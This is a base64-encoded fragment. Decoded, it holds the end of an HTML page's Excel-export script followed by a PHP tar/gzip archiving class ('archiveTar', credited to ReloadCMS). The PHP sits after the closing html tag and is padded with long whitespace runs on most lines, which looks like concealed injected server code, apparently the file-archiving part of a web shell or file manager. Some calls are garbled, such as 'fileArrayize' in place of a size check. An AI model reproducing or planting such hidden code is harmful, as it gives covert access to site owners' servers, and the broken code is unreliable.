QogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICB4bHMuVXNlckNvbnRyb2wgPSB0cnVlOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICByZXR1cm4geGxzOw0KDQoJICAgICAJICAgICAJICAgICB9IGVsc2Ugew0KDQoJICAgICAJICAgICAJICAgICAJICAgICB0YWJsZVRvRXhjZWxEYXRhKGVsLCBuYW1lKTsNCg0KCSAgICAgCSAgICAgCSAgICAgfQ0KCSAgICAgCSAgICAgfQ0KDQp9DQo8L3NjcmlwdD4NCg0KPC9ib2R5Pg0KDQo8L2h0bWw+DQoNCg0KDQo8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQovL1BvcnRlZCBmcm9tIFJlbG9hZENNUyBwcm9qZWN0IGh0dHA6Ly9yZWxvYWRjbXMuY29tDQoNCmNsYXNzIGFyY2hpdmVUYXIgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgdmFyICRhcmNoaXZlTGFiZWwgPSAnJzsNCg0KCSAgICAgdmFyICRpbnRlcm1lZGlhdGVGaWxlID0gMDsNCg0KCSAgICAgdmFyICRmaWxlT2Zmc2V0ID0gMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgdmFyICRpc0ZpbGVDb21wcmVzc2VkID0gdHJ1ZTsNCg0KCSAgICAgdmFyICRmYWlsdXJlTG9ncyA9IGFycmF5KCk7DQoNCgkgICAgIHZhciAkZmlsZUFycmF5ID0gYXJyYXkoKTsNCg0KCSAgICAgDQoJICAgICBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpew0KDQoJICAgICAJICAgICBpZiAoIWlzc2V0KCR0aGlzLT5mYWlsdXJlTG9ncykpICR0aGlzLT5mYWlsdXJlTG9ncyA9IGFycmF5KCk7DQoJICAgICB9DQoJICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBmdW5jdGlvbiBnZW5lcmF0ZUFyY2hpdmUoJGZpbGVfbGlzdCl7DQoNCgkgICAgIAkgICAgICRyZXN1bHQgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgaWYgKGZpbGVfZXhpc3RzKCR0aGlzLT5hcmNoaXZlTGFiZWwpICYmIGlzX2ZpbGUoJHRoaXMtPmFyY2hpdmVMYWJlbCkpIAkgICAgICRuZXdBcmNoaXZlID0gZmFsc2U7DQoNCgkgICAgIAkgICAgIGVsc2UgJG5ld0FyY2hpdmUgPSB0cnVlOw0KDQoJICAgICAJICAgICBpZiAoJG5ld0FyY2hpdmUpew0KCSAgICAgCSAgICAgCSAgICAgaWYgKCEkdGhpcy0+aW5pdGlhdGVGaWxlV3JpdGUoKSkgcmV0dXJuIGZhbHNlOw0KCSAgICAgCSAgICAgfSBlbHNlIHsNCg0KCSAgICAgCSAgICAgCSAgICAgaWYgKGZpbGVBcnJheWl6ZSgkdGhpcy0+YXJjaGl2ZUxhYmVsKSA9PSAwKQkgICAgIHJldHVybiAkdGhpcy0+aW5pdGlhdGVGaWxlV3JpdGUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIGlmICgkdGhpcy0+aXNGaWxlQ29tcHJlc3NlZCkgew0KDQoJICAgICAJICAgICAJICAgICAJICAgICAkdGhpcy0+Y2xvc2VUZW1wRmlsZVN0cmVhbSgpOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICBpZiAoIXJlbmFtZSgkdGhpcy0+YXJjaGl2ZUxhYmVsLCAkdGhpcy0+YXJjaGl2ZUxhYmVsLicudG1wJykpew0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHRoaXMtPmZhaWx1cmVMb2dzW10gPSBfXygnQ2Fubm90IHJlbmFtZScpLicgJy4kdGhpcy0+YXJjaGl2ZUxhYmVsLl9fKCcgdG8gJykuJHRoaXMtPmFyY2hpdmVMYWJlbC4nLnRtcCc7DQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICByZXR1cm4gZmFsc2U7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHRtcEFyY2hpdmUgPSBnem9wZW4oJHRoaXMtPmFyY2hpdmVMYWJlbC4nLnRtcCcsICdyYicpOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICBpZiAoISR0bXBBcmNoaXZlKXsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHRoaXMtPmZhaWx1cmVMb2dzW10gPSAkdGhpcy0+YXJjaGl2ZUxhYmVsLicudG1wICcuX18oJ2lzIG5vdCByZWFkYWJsZScpOw0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgcmVuYW1lKCR0aGlzLT5hcmNoaXZlTGFiZWwuJy50bXAnLCAkdGhpcy0+YXJjaGl2ZUxhYmVsKTsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICB9DQoJICAgICAJICAgICAJICAgICAJICAgICBpZiAoISR0aGlzLT5pbml0aWF0ZUZpbGVXcml0ZSgpKXsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgcmVuYW1lKCR0aGlzLT5hcmNoaXZlTGFiZWwuJy50bXAnLCAkdGhpcy0+YXJjaGl2ZUxhYmVsKTsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgcmV0dXJuIGZhbHNlOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICAkYnVmZmVyID0gZ3pyZWFkKCR0bXBBcmNoaXZlLCA1MTIpOw0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYgKCFnemVvZigkdG1wQXJjaGl2ZSkpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIGRvIHsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGJpbmFyeURhdGEgPSBwYWNrKCdhNTEyJywgJGJ1ZmZlcik7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgICR0aGlzLT53cml0ZURhdGFTZWdtZW50KCRiaW5hcnlEYXRhKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICAJICAgICAkYnVmZmVyID0gZ3pyZWFkKCR0bXBBcmNoaXZlLCA1MTIpOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIHdoaWxlICghZ3plb2YoJHRtcEFyY2hpdmUpKTsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgZ3pjbG9zZSgkdG1wQXJjaGl2ZSk7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIHVubGluaygkdGhpcy0+YXJjaGl2ZUxhYmVsLicudG1wJyk7DQoNCgkgICAgIAkgICAgIAkgICAgIH0gZWxzZSB7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgICR0aGlzLT5pbnRlcm1lZGlhdGVGaWxlID0gZm9wZW4oJHRoaXMtPmFyY2hpdmVMYWJlbCwgJ3IrYicpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICBpZiAoISR0aGlzLT5pbnRlcm1lZGlhdGVGaWxlKQkgICAgIHJldHVybiBmYWxzZTsNCgkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgfQ0KCSAgICAgCSAgICAgaWYgKGlzc2V0KCRmaWxlX2xpc3QpICYmIGlzX2FycmF5KCRmaWxlX2xpc3QpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgaWYgKGNvdW50KCRmaWxlX2xpc3QpPjApDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgICRyZXN1bHQgPSAkdGhpcy0+Y29tcHJlc3NGaWxlc0ludG9CdW5kbGUoJGZpbGVfbGlzdCk7DQoJICAgICAJICAgICB9IGVsc2UgJHRoaXMtPmZhaWx1cmVMb2dzW10gPSBfXygnTm8gZmlsZScpLl9fKCcgdG8gJykuX18oJ0FyY2hpdmUnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIGlmICgoJHJlc3VsdCkmJihpc19yZXNvdXJjZSgkdGhpcy0+aW50ZXJtZWRpYXRlRmlsZSkpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAkYmluYXJ5RGF0YSA9IHBhY2soJ2E1MTInLCAnJyk7DQoNCgkgICAgIAkgICAgIAkgICAgICR0aGlzLT53cml0ZURhdGFTZWdtZW50KCRiaW5hcnlEYXRhKTsNCg0KCSAgICAgCSAgICAgfQ0KCSAgICAgCSAgICAgJHRoaXMtPmNsb3NlVGVtcEZpbGVTdHJlYW0oKTsNCgkgICAgIAkgICAgIGlmICgkbmV3QXJjaGl2ZSAmJiAhJHJlc3VsdCl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkdGhpcy0+Y2xvc2VUZW1wRmlsZVN0cmVhbSgpOw0KDQoJICAgICAJICAgICB1bmxpbmsoJHRoaXMtPmFyY2hpdmVMYWJlbCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIH0NCgkgICAgIAkgICAgIHJldHVybiAkcmVzdWx0Ow0KDQoJICAgICB9DQoNCg0KDQoJICAgICBmdW5jdGlvbiBleHRyYWN0QnVuZGxlKCRwYXRoKXsNCgkgICAgIAkgICAgICRmaWxlTmFtZSA9ICR0aGlzLT5hcmNoaXZlTGFiZWw7DQoNCgkgICAgIAkgICAgIGlmICghJHRoaXMtPmlzRmlsZUNvbXByZXNzZWQpew0KCSAgICAgCSAgICAgCSAgICAgaWYgKGZpbGVfZXhpc3RzKCRmaWxlTmFtZSkpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYgKCRmcCA9IGZvcGVuKCRmaWxlTmFtZSwgJ3JiJykpew0KDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICAkZGF0YSA9IGZyZWFkKCRmcCwgMik7DQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICBmY2xvc2UoJGZwKTsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYgKCRkYXRhID09ICdcMzdcMjEzJyl7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgICR0aGlzLT5pc0ZpbGVDb21wcmVzc2VkID0gdHJ1ZTsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgfQ0KDQoJICAgICAJICAgICAJICAgICB9DQoNCgkgICAgIAkgICAgIAkgICAgIGVsc2VpZiAoKHN1YnN0cigkZmlsZU5hbWUsIC0yKSA9PSAnZ3onKSBPUiAoc3Vic3RyKCRmaWxlTmFtZSwgLTMpID09ICd0Z3onKSkgJHRoaXMtPmlzRmlsZUNvbXByZXNzZWQgPSB0cnVlOw0KDQoJICAgICAJICAgICB9IA0KDQoJICAgICAJICAgICAkcmVzdWx0ID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICBpZiAoJHRoaXMtPmlzRmlsZUNvbXByZXNzZWQpICR0aGlzLT5pbnRlcm1lZGlhdGVGaWxlID0gZ3pvcGVuKCRmaWxlTmFtZSwgJ3JiJyk7DQoNCgkgICAgIAkgICAgIGVsc2UgJHRoaXMtPmludGVybWVkaWF0ZUZpbGUgPSBmb3BlbigkZmlsZU5hbWUsICdyYicpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICBpZiAoISR0aGlzLT5pbnRlcm1lZGlhdGVGaWxlKXsNCg0KCSAgICAgCSAgICAgCSAgICAgJHRoaXMtPmZhaWx1cmVMb2dzW10gPSAkZmlsZU5hbWUuJyAnLl9fKCdpcyBub3QgcmVhZGFibGUnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICByZXR1cm4gZmFsc2U7DQoJICAgICAJICAgICB9DQoNCgkgICAgIAkgICAgICRyZXN1bHQgPSAkdGhpcy0+dW5jb21wcmVzc0ZpbGVzSW50b0J1bmRsZSgkcGF0aCk7DQoNCgkgICAgIAkgICAgIAkgICAgICR0aGlzLT5jbG9zZVRlbXBGaWxlU3RyZWFtKCk7DQoJICAgICAJICAgICByZXR1cm4gJHJlc3VsdDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgZnVuY3Rpb24gZGlzcGxheUZhaWx1cmVNZXNzYWdlcwkgICAgICgkbWVzc2FnZSA9ICcnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJEVycm9ycyA9ICR0aGlzLT5mYWlsdXJlTG9nczsNCg0KCSAgICAgCSAgICAgaWYoY291bnQoJEVycm9ycyk+MCkgew0KDQoJICAgICAJICAgICBpZiAoIWVtcHR5KCRtZXNzYWdlKSkgJG1lc3NhZ2UgPSAnICgnLiRtZXNzYWdlLicpJzsNCgkgICAgIAkgICAgIAkgICAgICRtZXNzYWdlID0gX18oJ0Vycm9yIG9jY3VycmVkJykuJG1lc3NhZ2UuJzogPGJyLz4nOw0KDQoJICAgICAJICAgICAJICAgICBmb3JlYWNoICgkRXJyb3JzIGFzICR2YWx1ZSkNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJG1lc3NhZ2UgLj0gJHZhbHVlLic8YnIvPic7DQoNCgkgICAgIAkgICAgIAkgICAgIHJldHVybiAkbWVzc2FnZTsJICAgICANCgkgICAgIAkgICAgIH0gZWxzZSByZXR1cm4gJyc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICANCg0KCSAgICAgfQ0KDQoJICAgICANCgkgICAgIGZ1bmN0aW9uIGNvbXByZXNzRmlsZXNJbnRvQnVuZGxlKCRmaWxlX2FycmF5KXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgICRyZXN1bHQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgaWYgKCEkdGhpcy0+aW50ZXJtZWRpYXRlRmlsZSl7DQoNCgkgICAgIAkgICAgIAkgICAgICR0aGlzLT5mYWlsdXJlTG9nc1tdID0gX18oJ0ludmFsaWQgZmlsZSBkZXNjcmlwdG9yJyk7DQoNCgkgICAgIAkgICAgIAkgICAgIHJldHVybiBmYWxzZTsNCgkgICAgIAkgICAgIH0NCgkgICAgIAkgICAgIGlmICghaXNfYXJyYXkoJGZpbGVfYXJyYXkpIHx8IGNvdW50KCRmaWxlX2FycmF5KTw9MCkNCiAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgZm9yICgkaSA9IDA7ICRpPGNvdW50KCRmaWxlX2FycmF5KTsgJGkrKyl7DQoJICAgICAJICAgICAJICAgICAkZmlsZW5hbWUgPSAkZmlsZV9hcnJheVskaV07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgaWYgKCRmaWxlbmFtZSA9PSAkdGhpcy0+YXJjaGl2ZUxhYmVsKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgY29udGludWU7DQoJICAgICAJICAgICAJICAgICBpZiAoc3RybGVuKCRmaWxlbmFtZSk8PTApDQoJICAgICAJICAgICAJICAgICAJICAgICBjb250aW51ZTsNCg0KCSAgICAgCSAgICAgCSAgICAgaWYgKCFmaWxlX2V4aXN0cygkZmlsZW5hbWUpKXsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHRoaXMtPmZhaWx1cmVMb2dzW10gPSBfXygnTm8gZmlsZScpLicgJy4kZmlsZW5hbWU7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGNvbnRpbnVlOw0KDQoJICAgICAJICAgICAJICAgICB9DQoNCgkgICAgIAkgICAgIAkgICAgIGlmICghJHRoaXMtPmludGVybWVkaWF0ZUZpbGUpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAkdGhpcy0+ZmFpbHVyZUxvZ3NbXSA9IF9fKCdJbnZhbGlkIGZpbGUgZGVzY3JpcHRvcicpOw0KCSAgICAgCSAgICAgCSAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgaWYgKHN0cmxlbigkZmlsZW5hbWUpPD0wKXsNCg0KCSAgICAgCSAgICAgCSAgICAgJHRoaXMtPmZhaWx1cmVMb2dzW10gPSBfXygnRmlsZW5hbWUnKS4nICcuX18oJ2lzIGluY29ycmVjdCcpOzsNCg0KCSAgICAgCSAgICAgCSAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICB9DQoNCgkgICAgIAkgICAgICRmaWxlbmFtZSA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJGZpbGVuYW1lKTsNCgkgICAgIAkgICAgICRrZWVwX2ZpbGVuYW1lID0gJHRoaXMtPmNvbnN0cnVjdEZpbGVQYXRoKCRmaWxlbmFtZSk7DQoNCgkgICAgIAkgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgaWYgKCgkZmlsZV9nZXQgPSBmb3BlbigkZmlsZW5hbWUsICdyYicpKSA9PSAwKXsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHRoaXMtPmZhaWx1cmVMb2dzW10gPSBfXygnTW9kZSAnKS5fXygnaXMgaW5jb3JyZWN0Jyk7DQoJICAgICAJICAgICAJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmKCgkdGhpcy0+ZmlsZU9mZnNldCA9PSAwKSl7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmKCEkdGhpcy0+aW5zZXJ0RmlsZUhlYWRlcigkZmlsZW5hbWUsICRrZWVwX2ZpbGVuYW1lKSkNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgcmV0dXJuIGZhbHNlOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICB3aGlsZSAoKCRidWZmZXIgPSBmcmVhZCgkZmlsZV9nZXQsIDUxMikpICE9ICcnKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGJpbmFyeURhdGEgPSBwYWNrKCdhNTEyJywgJGJ1ZmZlcik7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgICR0aGlzLT53cml0ZURhdGFTZWdtZW50KCRiaW5hcnlEYXRhKTsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgCSAgICAgZmNsb3NlKCRmaWxlX2dldCk7DQoNCgkgICAgIAkgICAgIH0JICAgICBlbHNlICR0aGlzLT5pbnNlcnRGaWxlSGVhZGVyKCRmaWxlbmFtZSwgJGtlZXBfZmlsZW5hbWUpO